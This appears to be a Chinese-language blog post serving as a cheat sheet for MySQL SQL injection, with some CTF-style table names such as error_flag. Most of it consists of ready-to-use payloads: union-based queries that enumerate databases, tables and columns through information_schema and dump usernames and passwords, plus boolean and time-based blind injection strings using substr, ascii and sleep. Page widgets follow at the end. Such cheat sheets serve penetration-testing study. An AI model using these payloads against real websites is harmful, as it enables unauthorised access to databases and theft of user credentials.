MYSQL注入

一、显错型注入

需要注意的是,若是想通过匹配库爆表,需要将库名转换成哈希值或者是二进制,否则有些时候会被转义从而报错

一个数据库 information_schema
第一张表 schemate
schema_name
第二张表 tables
table_name table_schema
第三张表 columns
column_name table_name table_schema

table_schema: 记录数据库名
table_name: 记录数据表名

1.判断列数

order by N

2.判断回显位置

union select 1,2,3,...N

3.获取当前数据库 sqli_bihuo_cn

union select 1,database(),3

获取所有数据库名

union select 1,group_concat(SCHEMA_NAME),3 from information_schema.schemata

4.查询当前数据库中有哪些表

从information_schema库中tables表

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

union select 1,group_concat(table_NAME),3 from information_schema.tables where table_schema=database()成功率高

5.查询当前数据库中对应表的字段名或者列名

从information_schema库中columns表

union select 1,group_concat(column_NAME),3 from information_schema.columns  where table_name='表名' and  table_schema='数据库名'

union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

6.查询字段的内容

union select 1,2,group_concat(name,'-',passwd),4 from 数据库.表

union select 1,2,group_concat(username,0x3a,password) from users
(0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username)

暴库
union select 1,2,group_concat(schema_name) from information_schema.schemata
爆表
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='error'
爆字段
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='error' and table_name='error_flag'
爆字段内容
union select 1,2,group_concat(Id,'-',flag) from error_flag

二、盲注

1.布尔盲注

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

1.构造猜测数据库名长度的函数(确定database()的长度返回值正确则大于猜想值,返回值错误则小于猜想值,直至猜到长度)

and (length(database()))>10

2.构造猜测数据库名的语句(返回正确说明第一个字母的ascii码大于100,和第一步一样去猜ascii的值,通过改变database()后面的数字可以继续猜测第二个字母及后续字母)

and (ascii(substr(database(),1,1)))>100

3.构造猜测表名的语句

and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100

4.构造猜测列名的语句

and (ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)))>100

5.构造获取字段的值的语句(通过修改 limit 0,1 获取第二个列名 修改后面1,1的获取当前列的其他字段)

and (ascii(substr(( select password from users limit 0,1),1,1)))=68

2.时间盲注(返回正确页面停顿10秒,返回错误立马返回)

and (if(ascii(substr(database(),1,1))>100,sleep(10),null))

post类的布尔盲注与时间盲注
前面说的都是get类的盲注,post类的布尔盲注只是把and换成or其他不变,
时间盲注有些不同因为在post类里sleep函数会被放大很多也就是说那个延时时间会很长,不过并不影响我们进行测试。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值